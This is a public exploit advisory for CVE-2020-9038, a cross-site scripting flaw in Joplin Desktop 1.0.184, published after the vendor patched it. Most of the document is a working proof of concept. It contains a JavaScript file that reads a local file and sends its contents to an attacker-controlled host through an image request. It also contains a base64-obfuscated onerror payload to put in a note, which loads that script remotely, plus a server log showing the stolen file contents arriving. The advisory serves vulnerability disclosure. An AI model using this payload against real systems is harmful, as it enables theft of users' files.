Joplin Desktop 1.0.184 - Cross-Site Scripting

# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Date: 2020-02-27
# Vendor: Laurent Cozic
# Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip
# Affected Version: 1.0.184 and before
# Patched Version: 1.0.185
# Category: Remote
# Platform: Windows
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/79.html
# CVE: 2020-9038
# References:
# https://github.com/JavierOlmedo/CVE-2020-9038
# https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc
 
# 1. Technical Description
# Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting
# vulnerability through the malicious note. This allows a malicious user
# read arbitrary files of system.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection in evil machine (you can use a python server).

python -m SimpleHTTPServer 8080

# 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER)

function readTextFile(file){
    var rawFile = new XMLHttpRequest();
    rawFile.open("GET", file, false);
    rawFile.onreadystatechange = function (){
        if(rawFile.readyState === 4){
            if(rawFile.status === 200 || rawFile.status == 0){
                allText = rawFile.responseText;
                //alert(allText);
                var img = document.createElement('img');
                img.src = "http://[IP:PORT]/" + allText;
                document.body.appendChild(img)
            }
        }
    }
    rawFile.send(null);
}
readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT");
//readTextFile("file:///C:/Windows/System32/drivers/etc/hosts");

# 2.3 Create a secret.txt file with any content in victim desktop.

# 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64).

<p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J
pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O
C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI
pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8080 ...
192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 -
192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 20, december 2019 - [RESEARCHER] Discover
# 20, december 2019 - [RESEARCHER] Report to vendor support
# 21, december 2019 - [DEVELOPER]  Recognized vulnerability
# 13, february 2020 - [DEVELOPER]  Patched vulnerability
# 27, february 2020 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo